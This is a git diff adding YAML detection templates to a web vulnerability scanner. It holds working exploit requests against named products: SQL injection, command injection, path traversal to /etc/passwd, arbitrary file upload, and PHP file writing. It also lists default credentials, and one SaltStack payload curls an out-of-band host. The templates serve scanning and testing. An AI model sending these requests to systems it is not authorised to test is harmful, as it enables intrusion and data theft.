b/WebScan/pocs/pbootcms-database-file-download.yml new file mode 100644 index 0000000..9771dcf --- /dev/null +++ b/WebScan/pocs/pbootcms-database-file-download.yml @@ -0,0 +1,11 @@ +name: poc-yaml-pbootcms-database-file-download +rules: + - method: GET + path: /data/pbootcms.db + follow_redirects: false + expression: | + response.status == 200 && "^SQLite format 3\\x00\\x10".bmatches(response.body) && response.body.bcontains(b"PbootCMS") +detail: + author: abcRosexyz(https://github.com/abcRosexyz) + links: + - https://www.cnblogs.com/0daybug/p/12786036.html diff --git a/WebScan/pocs/php-cgi-cve-2012-1823.yml b/WebScan/pocs/php-cgi-cve-2012-1823.yml new file mode 100644 index 0000000..3a6e784 --- /dev/null +++ b/WebScan/pocs/php-cgi-cve-2012-1823.yml @@ -0,0 +1,14 @@ +name: poc-yaml-php-cgi-cve-2012-1823 +set: + rand: randomInt(200000000, 210000000) +rules: + - method: POST + path: /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input + body: + follow_redirects: false + expression: | + response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: 17bdw + links: + - https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823 \ No newline at end of file diff --git a/WebScan/pocs/phpcms-cve-2018-19127.yml b/WebScan/pocs/phpcms-cve-2018-19127.yml new file mode 100644 index 0000000..0272e20 --- /dev/null +++ b/WebScan/pocs/phpcms-cve-2018-19127.yml @@ -0,0 +1,20 @@ +name: poc-yaml-phpcms-cve-2018-19127 +set: + r: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /type.php?template=tag_(){}%3b@unlink(file)%3becho md5($_GET[1])%3b{//../rss + follow_redirects: true + expression: | + response.status == 200 + - method: GET + path: /data/cache_template/rss.tpl.php?1={{r}} + follow_redirects: true + expression: | + response.body.bcontains(bytes(md5(string(r)))) + +detail: + author: pa55w0rd(www.pa55w0rd.online/) + Affected Version: "PHPCMS2008" + links: + - https://github.com/ab1gale/phpcms-2008-CVE-2018-19127 diff --git a/WebScan/pocs/phpok-sqli.yml b/WebScan/pocs/phpok-sqli.yml new file mode 100644 index 0000000..696187c --- /dev/null +++ b/WebScan/pocs/phpok-sqli.yml @@ -0,0 +1,12 @@ +name: poc-yaml-phpok-sqli +set: + r1: randomInt(800000000, 1000000000) +rules: + - method: GET + path: "/api.php?c=project&f=index&token=1234&id=news&sort=1 and extractvalue(1,concat(0x7e,md5({{r1}}))) --+" + expression: | + response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31))) +detail: + author: jinqi + links: + - https://github.com/jinqi520 diff --git a/WebScan/pocs/phpshe-sqli.yml b/WebScan/pocs/phpshe-sqli.yml new file mode 100644 index 0000000..932356e --- /dev/null +++ b/WebScan/pocs/phpshe-sqli.yml @@ -0,0 +1,13 @@ +name: poc-yaml-phpshe-sqli +set: + rand: randomInt(200000000, 210000000) +rules: + - method: GET + path: /include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,CONCAT%28md5({{rand}})%29,4,5,6,7,8,9,10,11,12%23_ + expression: | + response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: hhdaddy + Affected Version: "1.7" + links: + - https://www.cnblogs.com/Spec/p/10718046.html diff --git a/WebScan/pocs/phpstudy-nginx-wrong-resolve.yml b/WebScan/pocs/phpstudy-nginx-wrong-resolve.yml new file mode 100644 index 0000000..1759e44 --- /dev/null +++ b/WebScan/pocs/phpstudy-nginx-wrong-resolve.yml @@ -0,0 +1,57 @@ +name: poc-yaml-phpstudy-nginx-wrong-resolve +set: + name: randomInt(10000000, 99999999) +groups: + html: + - method: GET + path: /{{name}}.php + follow_redirects: false + expression: | + response.status != 200 + + - method: GET + path: /index.html + follow_redirects: false + expression: | + response.status == 200 && response.headers["Server"].contains("nginx") + + - method: GET + path: /index.html/.php + follow_redirects: false + expression: | + response.status == 200 && response.headers["Server"].contains("nginx") + + - method: GET + path: /index.html/.xxx + follow_redirects: false + expression: | + response.status != 200 + + php: + - method: GET + path: /{{name}}.php + follow_redirects: false + expression: | + response.status != 200 + + - method: GET + path: /index.php + follow_redirects: false + expression: | + response.status == 200 && response.headers["Server"].contains("nginx") + + - method: GET + path: /index.php/.php + follow_redirects: false + expression: | + response.status == 200 && response.headers["Server"].contains("nginx") + + - method: GET + path: /index.php/.xxx + follow_redirects: false + expression: | + response.status != 200 +detail: + author: LoRexxar(https://lorexxar.cn),0h1in9e(https://www.ohlinge.cn) + links: + - https://www.seebug.org/vuldb/ssvid-98364 diff --git a/WebScan/pocs/phpunit-cve-2017-9841-rce.yml b/WebScan/pocs/phpunit-cve-2017-9841-rce.yml new file mode 100644 index 0000000..545e761 --- /dev/null +++ b/WebScan/pocs/phpunit-cve-2017-9841-rce.yml @@ -0,0 +1,13 @@ +name: poc-yaml-phpunit-cve-2017-9841-rce +set: + rand: randomInt(2000000000, 2100000000) +rules: + - method: POST + path: /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php + body: + follow_redirects: false + expression: response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: p0wd3r,buchixifan + links: + - https://github.com/vulhub/vulhub/tree/master/phpunit/CVE-2017-9841 \ No newline at end of file diff --git a/WebScan/pocs/powercreator-arbitrary-file-upload.yml b/WebScan/pocs/powercreator-arbitrary-file-upload.yml new file mode 100644 index 0000000..201c274 --- /dev/null +++ b/WebScan/pocs/powercreator-arbitrary-file-upload.yml @@ -0,0 +1,24 @@ +name: poc-yaml-powercreator-arbitrary-file-upload +set: + rand: randomInt(1000, 9999) + content: randomLowercase(8) + randname: randomLowercase(4) +rules: + - method: POST + path: /upload/UploadResourcePic.ashx?ResourceID={{rand}} + follow_redirects: false + headers: + Content-Type: multipart/form-data; boundary=---------------------------20873900192357278038549710136 + Content-Disposition: form-data;name="file1";filename="{{randname}}.aspx"; + body: "-----------------------------20873900192357278038549710136\nContent-Disposition: form-data; name=\"file1\"; filename=\"{{randname}}.aspx\"\nContent-Type: image/jpeg\n\n{{content}}\n-----------------------------20873900192357278038549710136--" + search: | + (?P.+?).ASPX + expression: response.status == 200 && response.body.bcontains(b".ASPX") + - method: GET + path: /ResourcePic/{{path}}.ASPX + follow_redirects: false + expression: response.status == 200 +detail: + author: MrP01ntSun(https://github.com/MrPointSun) + links: + - https://xz.aliyun.com/t/8478#reply-15684 diff --git a/WebScan/pocs/prometheus-url-redirection-cve-2021-29622.yml b/WebScan/pocs/prometheus-url-redirection-cve-2021-29622.yml new file mode 100644 index 0000000..e86e0e3 --- /dev/null +++ b/WebScan/pocs/prometheus-url-redirection-cve-2021-29622.yml @@ -0,0 +1,11 @@ +name: poc-yaml-prometheus-url-redirection-cve-2021-29622 +rules: + - method: GET + path: /new/newhttps:/baidu.com + follow_redirects: false + expression: | + response.status == 302 && response.headers["location"] == "https:/baidu.com?" +detail: + author: fuzz7j(https://github.com/fuzz7j) + links: + - https://github.com/prometheus/prometheus/security/advisories/GHSA-vx57-7f4q-fpc7 diff --git a/WebScan/pocs/pulse-cve-2019-11510.yml b/WebScan/pocs/pulse-cve-2019-11510.yml new file mode 100644 index 0000000..fcded4f --- /dev/null +++ b/WebScan/pocs/pulse-cve-2019-11510.yml @@ -0,0 +1,14 @@ +name: poc-yaml-pulse-cve-2019-11510 +rules: + - method: GET + path: >- + /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/ + follow_redirects: false + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: leezp + Affected Version: "Pulse Connect Secure: 9.0RX 8.3RX 8.2RX" + links: + - https://github.com/jas502n/CVE-2019-11510-1 + - https://github.com/projectzeroindia/CVE-2019-11510 \ No newline at end of file diff --git a/WebScan/pocs/pyspider-unauthorized-access.yml b/WebScan/pocs/pyspider-unauthorized-access.yml new file mode 100644 index 0000000..7412300 --- /dev/null +++ b/WebScan/pocs/pyspider-unauthorized-access.yml @@ -0,0 +1,18 @@ +name: poc-yaml-pyspider-unauthorized-access +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: POST + path: /debug/pyspidervulntest/run + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + webdav_mode=false&script=from+pyspider.libs.base_handler+import+*%0Aclass+Handler(BaseHandler)%3A%0A++++def+on_start(self)%3A%0A++++++++print(str({{r1}}+%2B+{{r2}}))&task=%7B%0A++%22process%22%3A+%7B%0A++++%22callback%22%3A+%22on_start%22%0A++%7D%2C%0A++%22project%22%3A+%22pyspidervulntest%22%2C%0A++%22taskid%22%3A+%22data%3A%2Con_start%22%2C%0A++%22url%22%3A+%22data%3A%2Con_start%22%0A%7D + follow_redirects: true + expression: > + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: we1x4n(https://we1x4n.github.io/) + links: + - https://github.com/ianxtianxt/Pyspider-webui-poc diff --git a/WebScan/pocs/qibocms-sqli.yml b/WebScan/pocs/qibocms-sqli.yml new file mode 100644 index 0000000..a37a62c --- /dev/null +++ b/WebScan/pocs/qibocms-sqli.yml @@ -0,0 +1,12 @@ +name: poc-yaml-qibocms-sqli +set: + rand: randomInt(200000000, 210000000) +rules: + - method: GET + path: /f/job.php?job=getzone&typeid=zone&fup=..\..\do\js&id=514125&webdb[web_open]=1&webdb[cache_time_js]=-1&pre=qb_label%20where%20lid=-1%20UNION%20SELECT%201,2,3,4,5,6,0,md5({{rand}}),9,10,11,12,13,14,15,16,17,18,19%23 + expression: | + response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: Rexus + links: + - https://www.ld-fcw.com/ diff --git a/WebScan/pocs/qilin-bastion-host-rce.yml b/WebScan/pocs/qilin-bastion-host-rce.yml new file mode 100644 index 0000000..b9cecc6 --- /dev/null +++ b/WebScan/pocs/qilin-bastion-host-rce.yml @@ -0,0 +1,19 @@ +name: poc-yaml-qilin-bastion-host-rce +set: + r2: randomLowercase(10) +rules: + - method: GET + path: /get_luser_by_sshport.php?clientip=1;echo%20"">/opt/freesvr/web/htdocs/freesvr/audit/{{r2}}.php;&clientport=1 + follow_redirects: false + expression: response.status == 200 + + - method: GET + path: /{{r2}}.php + follow_redirects: false + expression: response.status == 200 && response.body.bcontains(bytes(md5(r2))) + +detail: + author: For3stCo1d (https://github.com/For3stCo1d) + description: "iAudit-fortressaircraft-rce" + links: + - https://yun.scdsjzx.cn/system/notice/detail/399d2dd0-94aa-4914-a8f6-e71f8dc8ac87 diff --git a/WebScan/pocs/qnap-cve-2019-7192.yml b/WebScan/pocs/qnap-cve-2019-7192.yml new file mode 100644 index 0000000..efccb2f --- /dev/null +++ b/WebScan/pocs/qnap-cve-2019-7192.yml @@ -0,0 +1,28 @@ +name: poc-yaml-qnap-cve-2019-7192 +rules: + - method: POST + path: /photo/p/api/album.php + headers: + Content-Type: application/x-www-form-urlencoded + body: a=setSlideshow&f=qsamplealbum + expression: | + response.status == 200 + search: >- + (?P.*?) + - method: GET + path: /photo/slideshow.php?album={{album_id}} + expression: | + response.status == 200 + search: >- + encodeURIComponent\(\'(?P.*?)\'\) + - method: POST + path: /photo/p/api/video.php + headers: + Content-Type: application/x-www-form-urlencoded + body: album={{album_id}}&a=caption&ac={{access_code}}&f=UMGObv&filename=./../../../../../etc/passwd + expression: | + response.status == 200 && response.body.bcontains(b"admin:x:0:0") +detail: + author: Hzllaga + links: + - https://github.com/th3gundy/CVE-2019-7192_QNAP_Exploit diff --git a/WebScan/pocs/rabbitmq-default-password.yml b/WebScan/pocs/rabbitmq-default-password.yml new file mode 100644 index 0000000..dab3d36 --- /dev/null +++ b/WebScan/pocs/rabbitmq-default-password.yml @@ -0,0 +1,16 @@ +name: poc-yaml-rabbitmq-default-password +rules: + - method: GET + path: /api/whoami + expression: | + response.status == 401 + - method: GET + path: /api/whoami + headers: + Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= + expression: | + response.status == 200 && response.body.bcontains(b"\"name\":\"guest\"") +detail: + author: mumu0215(https://github.com/mumu0215) + links: + - http://luckyzmj.cn/posts/15dff4d3.html \ No newline at end of file diff --git a/WebScan/pocs/rails-cve-2018-3760-rce.yml b/WebScan/pocs/rails-cve-2018-3760-rce.yml new file mode 100644 index 0000000..7b804f0 --- /dev/null +++ b/WebScan/pocs/rails-cve-2018-3760-rce.yml @@ -0,0 +1,19 @@ +name: poc-yaml-rails-cve-2018-3760-rce +rules: + - method: GET + path: '/assets/file:%2f%2f/etc/passwd' + follow_redirects: false + expression: | + response.status == 500 && response.body.bcontains(b"FileOutsidePaths") + search: '/etc/passwd is no longer under a load path: (?P.*?),' + - method: GET + path: >- + /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd + follow_redirects: false + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: leezp + Affected Version: "Sprockets<=3.7.1" + links: + - https://github.com/vulhub/vulhub/tree/master/rails/CVE-2018-3760 diff --git a/WebScan/pocs/razor-cve-2018-8770.yml b/WebScan/pocs/razor-cve-2018-8770.yml new file mode 100644 index 0000000..0529db1 --- /dev/null +++ b/WebScan/pocs/razor-cve-2018-8770.yml @@ -0,0 +1,12 @@ +name: poc-yaml-razor-cve-2018-8770 +rules: + - method: GET + path: /tests/generate.php + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"Fatal error: Class 'PHPUnit_Framework_TestCase' not found in ") && response.body.bcontains(b"/application/third_party/CIUnit/libraries/CIUnitTestCase.php on line") +detail: + author: we1x4n(https://we1x4n.github.io/) + links: + - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8770 + - https://www.exploit-db.com/exploits/44495/ diff --git a/WebScan/pocs/rconfig-cve-2019-16663.yml b/WebScan/pocs/rconfig-cve-2019-16663.yml new file mode 100644 index 0000000..cb4661d --- /dev/null +++ b/WebScan/pocs/rconfig-cve-2019-16663.yml @@ -0,0 +1,15 @@ +name: poc-yaml-rconfig-cve-2019-16663 +set: + r: randomInt(800000000, 1000000000) + r1: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3Bexpr%20{{r}}%20%2B%20{{r1}}%20%20%23 + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r + r1))) +detail: + author: 17bdw + links: + - https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071 + - https://www.cnblogs.com/17bdw/p/11840588.html + - https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/ \ No newline at end of file diff --git a/WebScan/pocs/resin-cnnvd-200705-315.yml b/WebScan/pocs/resin-cnnvd-200705-315.yml new file mode 100644 index 0000000..3ef4a8f --- /dev/null +++ b/WebScan/pocs/resin-cnnvd-200705-315.yml @@ -0,0 +1,12 @@ +name: poc-yaml-resin-cnnvd-200705-315 +rules: + - method: GET + path: /%20../web-inf/ + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"/ ../web-inf/") && response.body.bcontains(b"Directory of /") +detail: + author: whynot(https://github.com/notwhy) + links: + - https://www.secpulse.com/archives/39144.html + - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200705-315 \ No newline at end of file diff --git a/WebScan/pocs/resin-inputfile-fileread-or-ssrf.yml b/WebScan/pocs/resin-inputfile-fileread-or-ssrf.yml new file mode 100644 index 0000000..8dc3e4a --- /dev/null +++ b/WebScan/pocs/resin-inputfile-fileread-or-ssrf.yml @@ -0,0 +1,11 @@ +name: poc-yaml-resin-inputfile-fileread-or-ssrf +rules: + - method: GET + path: /resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=../../../../../index.jsp + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes("<%@ page session=\"false\" import=\"com.caucho.vfs.*, com.caucho.server.webapp.*\" %>")) +detail: + author: whynot(https://github.com/notwhy) + links: + - https://www.secpulse.com/archives/496.html \ No newline at end of file diff --git a/WebScan/pocs/resin-viewfile-fileread.yml b/WebScan/pocs/resin-viewfile-fileread.yml new file mode 100644 index 0000000..ea53045 --- /dev/null +++ b/WebScan/pocs/resin-viewfile-fileread.yml @@ -0,0 +1,12 @@ +name: poc-yaml-resin-viewfile-fileread +rules: + - method: GET + path: /resin-doc/viewfile/?file=index.jsp + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes("%@ page session=\"false\" import=\"com.caucho.vfs.*, com.caucho.server.webapp.*\" %")) +detail: + author: whynot(https://github.com/notwhy) + links: + - https://www.cnvd.org.cn/flaw/show/CNVD-2006-3205 + - http://0day5.com/archives/1173/ \ No newline at end of file diff --git a/WebScan/pocs/rockmongo-default-password.yml b/WebScan/pocs/rockmongo-default-password.yml index c0b3566..bd7ee06 100644 --- a/WebScan/pocs/rockmongo-default-password.yml +++ b/WebScan/pocs/rockmongo-default-password.yml @@ -5,7 +5,7 @@ rules: body: more=0&host=0&username=admin&password=admin&db=&lang=zh_cn&expire=3 follow_redirects: false expression: | - response.status == 302 && response.headers["location"] == "/index.php?action=admin.index&host=0" + response.status == 302 && response.headers["Location"] == "/index.php?action=admin.index&host=0" detail: author: B1anda0(https://github.com/B1anda0) links: diff --git a/WebScan/pocs/ruijie-eg-cli-rce.yml b/WebScan/pocs/ruijie-eg-cli-rce.yml new file mode 100644 index 0000000..af3e72a --- /dev/null +++ b/WebScan/pocs/ruijie-eg-cli-rce.yml @@ -0,0 +1,35 @@ +name: poc-yaml-ruijie-eg-cli-rce +set: + r1: randomInt(8000, 10000) + r2: randomInt(8000, 10000) +rules: + - method: POST + path: /login.php + headers: + Content-Type: application/x-www-form-urlencoded + body: | + username=admin&password=admin?show+webmaster+user + expression: | + response.status == 200 && response.content_type.contains("text/json") + search: | + {"data":".*admin\s?(?P[^\\"]*) + - method: POST + path: /login.php + headers: + Content-Type: application/x-www-form-urlencoded + body: | + username=admin&password={{password}} + expression: | + response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}") + - method: POST + path: "/cli.php?a=shell" + follow_redirects: false + body: | + notdelay=true&command=expr {{r1}} * {{r2}} + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) + +detail: + author: Jarcis + links: + - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md \ No newline at end of file diff --git a/WebScan/pocs/ruijie-eg-file-read.yml b/WebScan/pocs/ruijie-eg-file-read.yml new file mode 100644 index 0000000..5dd223d --- /dev/null +++ b/WebScan/pocs/ruijie-eg-file-read.yml @@ -0,0 +1,32 @@ +name: poc-yaml-ruijie-eg-file-read +rules: + - method: POST + path: /login.php + headers: + Content-Type: application/x-www-form-urlencoded + body: | + username=admin&password=admin?show+webmaster+user + expression: | + response.status == 200 && response.content_type.contains("text/json") + search: | + {"data":".*admin\s?(?P[^\\"]*) + - method: POST + path: /login.php + headers: + Content-Type: application/x-www-form-urlencoded + body: | + username=admin&password={{password}} + expression: | + response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}") + - method: POST + path: /download.php?a=read_txt + follow_redirects: false + body: | + file=/etc/passwd + expression: | + response.status == 200 && response.body.bcontains(b"\"status\":true,") && "root:[x*]?:0:0:".bmatches(response.body) +detail: + author: abbin777 + influence_version: "@2000-2015" + links: + - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20download.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md \ No newline at end of file diff --git a/WebScan/pocs/ruijie-eg-info-leak.yml b/WebScan/pocs/ruijie-eg-info-leak.yml index 1150806..d4f5439 100644 --- a/WebScan/pocs/ruijie-eg-info-leak.yml +++ b/WebScan/pocs/ruijie-eg-info-leak.yml @@ -6,19 +6,20 @@ rules: Content-Type: application/x-www-form-urlencoded body: | username=admin&password=admin?show+webmaster+user - expression: "true" + expression: | + response.status == 200 && response.content_type.contains("text/json") search: | - {"data":".*?(?P\w+)\s?(?P\w+)","status":1} + {"data":".*admin\s?(?P[^\\"]*) - method: POST path: /login.php headers: Content-Type: application/x-www-form-urlencoded body: | - username={{username}}&password={{password}} + username=admin&password={{password}} expression: | - response.status == 200 && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}") + response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}") detail: author: Search?=Null description: "Ruijie EG网关信息泄漏" links: - - https://mp.weixin.qq.com/s/jgNyTHSqWA5twyk5tfSQUQ \ No newline at end of file + - https://mp.weixin.qq.com/s/jgNyTHSqWA5twyk5tfSQUQ diff --git a/WebScan/pocs/ruijie-eg-rce.yml b/WebScan/pocs/ruijie-eg-rce.yml deleted file mode 100644 index 2aac600..0000000 --- a/WebScan/pocs/ruijie-eg-rce.yml +++ /dev/null @@ -1,29 +0,0 @@ -name: poc-yaml-ruijie-eg-rce -set: - r1: randomLowercase(4) - r2: randomLowercase(4) - phpcode: > - "" - payload: base64(phpcode) -rules: - - method: POST - path: "/guest_auth/guestIsUp.php" - headers: - User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" - Accept-Encoding: "gzip, deflate" - Content-Type: "application/x-www-form-urlencoded; charset=UTF-8" - body: | - ip=127.0.0.1|echo '{{payload}}' | base64 -d > {{r2}}.php&mac=00-00 - expression: | - response.status == 200 - - method: GET - path: "/guest_auth/{{r2}}.php" - headers: - User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" - Accept-Encoding: "gzip, deflate" - expression: | - response.body.bcontains(bytes(r1)) -detail: - author: White(https://github.com/WhiteHSBG) - links: - - https://xz.aliyun.com/t/9016?page=1 \ No newline at end of file diff --git a/WebScan/pocs/ruoyi-management-fileread.yml b/WebScan/pocs/ruoyi-management-fileread.yml new file mode 100644 index 0000000..6debdd1 --- /dev/null +++ b/WebScan/pocs/ruoyi-management-fileread.yml @@ -0,0 +1,16 @@ +name: poc-yaml-ruoyi-management-fileread +groups: + linux: + - method: GET + path: /common/download/resource?resource=/profile/../../../../etc/passwd + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + windows: + - method: GET + path: /common/download/resource?resource=/profile/../../../../Windows/win.ini + expression: | + response.status == 200 && response.body.bcontains(b"for 16-bit app support") +detail: + author: MaxSecurity(https://github.com/MaxSecurity) + links: + - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E8%8B%A5%E4%BE%9D%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/%E8%8B%A5%E4%BE%9D%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20%E5%90%8E%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%20CNVD-2021-01931.md diff --git a/WebScan/pocs/saltstack-cve-2020-16846.yml b/WebScan/pocs/saltstack-cve-2020-16846.yml new file mode 100644 index 0000000..62b467b --- /dev/null +++ b/WebScan/pocs/saltstack-cve-2020-16846.yml @@ -0,0 +1,17 @@ +name: poc-yaml-saltstack-cve-2020-16846 +set: + reverse: newReverse() + reverseURL: reverse.url + +rules: + - method: POST + path: /run + body: token=12312&client=ssh&tgt=*&fun=a&roster=aaa&ssh_priv=aaa|curl+{{reverseURL}}%3b + expression: | + reverse.wait(5) + +detail: + author: we1x4n(https://we1x4n.com/) + links: + - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag + - https://github.com/vulhub/vulhub/blob/master/saltstack/CVE-2020-16846/README.zh-cn.md diff --git a/WebScan/pocs/samsung-wea453e-default-pwd.yml b/WebScan/pocs/samsung-wea453e-default-pwd.yml new file mode 100644 index 0000000..8f2bfe4 --- /dev/null +++ b/WebScan/pocs/samsung-wea453e-default-pwd.yml @@ -0,0 +1,13 @@ +name: poc-yaml-samsung-wea453e-default-pwd +rules: + - method: POST + path: /main.ehp + follow_redirects: false + body: | + httpd;General;lang=en&login_id=root&login_pw=sweap12~ + expression: | + response.status == 200 && response.body.bcontains(bytes("document.formParent2.changepasswd1.value")) && response.body.bcontains(bytes("passwd_change.ehp")) +detail: + author: sharecast + links: + - https://iryl.info/2020/11/27/exploiting-samsung-router-wlan-ap-wea453e/ diff --git a/WebScan/pocs/samsung-wea453e-rce.yml b/WebScan/pocs/samsung-wea453e-rce.yml new file mode 100644 index 0000000..6c0f8af --- /dev/null +++ b/WebScan/pocs/samsung-wea453e-rce.yml @@ -0,0 +1,16 @@ +name: poc-yaml-samsung-wea453e-rce +set: + r1: randomInt(40000, 44800) + r2: randomInt(1140000, 1144800) +rules: + - method: POST + path: /(download)/tmp/1.txt + follow_redirects: false + body: | + command1=shell%3Aexpr {{r1}} - {{r2}}|dd of=/tmp/1.txt + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 - r2))) +detail: + author: sharecast + links: + - https://iryl.info/2020/11/27/exploiting-samsung-router-wlan-ap-wea453e/ diff --git a/WebScan/pocs/samsung-wlan-ap-wea453e-rce.yml b/WebScan/pocs/samsung-wlan-ap-wea453e-rce.yml new file mode 100644 index 0000000..a0b89f0 --- /dev/null +++ b/WebScan/pocs/samsung-wlan-ap-wea453e-rce.yml @@ -0,0 +1,17 @@ +name: poc-yaml-samsung-wlan-ap-wea453e-rce +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) + r3: randomLowercase(8) +rules: + - method: POST + path: /(download)/tmp/{{r3}}.txt + body: | + command1=shell:expr {{r1}} %2b {{r2}} | dd of=/tmp/{{r3}}.txt + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: Print1n(http://print1n.top) + links: + - https://www.seebug.org/vuldb/ssvid-99075 + - http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E4%B8%89%E6%98%9F/%E4%B8%89%E6%98%9F%20WLAN%20AP%20WEA453e%E8%B7%AF%E7%94%B1%E5%99%A8%20%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html?h=%E4%B8%89%E6%98%9F%20WLAN%20AP%20WEA453e%E8%B7%AF%E7%94%B1%E5%99%A8%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E diff --git a/WebScan/pocs/sangfor-ba-rce.yml b/WebScan/pocs/sangfor-ba-rce.yml new file mode 100644 index 0000000..f437586 --- /dev/null +++ b/WebScan/pocs/sangfor-ba-rce.yml @@ -0,0 +1,13 @@ +name: poc-yaml-sangfor-ba-rce +set: + r1: randomLowercase(8) +rules: + - method: GET + path: /tool/log/c.php?strip_slashes=md5&host={{r1}} + expression: | + response.status == 200 && response.content_type.contains("text/html") && response.body.bcontains(bytes(md5(r1))) + +detail: + author: Print1n(http://print1n.top) + links: + - http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E6%B7%B1%E4%BF%A1%E6%9C%8D/%E6%B7%B1%E4%BF%A1%E6%9C%8D%20%E6%97%A5%E5%BF%97%E4%B8%AD%E5%BF%83%20c.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html diff --git a/WebScan/pocs/satellian-cve-2020-7980-rce.yml b/WebScan/pocs/satellian-cve-2020-7980-rce.yml new file mode 100644 index 0000000..0394464 --- /dev/null +++ b/WebScan/pocs/satellian-cve-2020-7980-rce.yml @@ -0,0 +1,20 @@ +name: poc-yaml-satellian-cve-2020-7980-rce +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: POST + path: >- + /cgi-bin/libagent.cgi?type=J + headers: + Cookie: ctr_t=0; sid=123456789 + Content-Type: application/json + body: >- + {"O_": "A", "F_": "EXEC_CMD", "S_": 123456789, "P1_": {"Q": "expr {{r1}} + {{r2}}", "F": "EXEC_CMD"}, "V_": 1} + follow_redirects: true + expression: response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: JingLing(https://hackfun.org/) + Affected version: Intellian Aptus Web <= 1.24 + links: + - https://nvd.nist.gov/vuln/detail/CVE-2020-7980 diff --git a/WebScan/pocs/seacms-before-v992-rce.yml b/WebScan/pocs/seacms-before-v992-rce.yml new file mode 100644 index 0000000..0a708f7 --- /dev/null +++ 